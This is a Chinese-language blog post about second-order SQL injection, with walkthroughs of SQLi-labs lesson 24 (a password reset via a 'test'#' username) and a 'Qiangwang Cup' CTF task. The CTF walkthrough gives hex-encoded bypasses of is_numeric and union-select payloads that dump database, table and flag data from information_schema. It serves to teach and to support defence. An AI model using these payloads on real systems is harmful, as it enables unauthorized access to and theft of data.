聊聊二次注入

本篇原创文章首发freebuf
之前参加“强网杯”,学到了不少姿势,其中的web题three hit印象深刻,考的是二次注入的问题,这里对二次注入尝试做一个小结。

1.什么是二次注入?
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

2.二次注入的原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
ctf1

3.二次注入的实例——SQLIlab lesson-24
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
ctf2
学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目:
ctf3

如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:
ctf4
看一下源代码:
ctf5
登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
Ok,此时我们注册一个test’#的账号
ctf6
注册用户的时候用了mysql_escape_string过滤参数:
ctf7
但是数据库中还是插入了问题数据test’#
ctf8
也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:
ctf9
回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改:
ctf10
我们无需填写current password即可修改test用户的密码:
ctf11
我们再看一下test用户的密码:
ctf12
Ok,我们看一下源代码:
ctf13
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:

"UPDATE users SET PASSWORD='22' where username='test’#' and password='$curr_pass' ";  

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;

4.二次注入实例——“强网杯”three hit

题目描述:
ctf14
打开看看:
ctf15
尝试注入失败

ctf16

注册一个账号:
ctf17
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句

Select name from table where age=xx limit 0,1;  

猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):

ctf18
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
Payload
1 and 1=2#
0x3120616e6420313d3223
用0x3120616e6420313d3223作为age注册一个用户:

ctf19
发现查询为空。
再试试
1 and 1=1#
0x3120616e6420313d3123
用0x3120616e6420313d3123作为age注册一个用户:
ctf20
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
Payload:
1 order by 4#
注册age为0x31206f72646572206279203423的用户:
ctf21
查询正常。
Payload:
注册age为0x31206f72646572206279203523的用户
ctf22
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
ctf23
可以看到第二列可以用来显示,接下来暴库:
Payload:

1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#  

ctf24
可以看到 数据库名qwb,接下来爆表:
Payload:

1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='qwb'#

ctf25
最终payload:

19 and 1=2 union select null,concat(flag),null,null from flag#

ctf26

总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。



blog comments powered by Disqus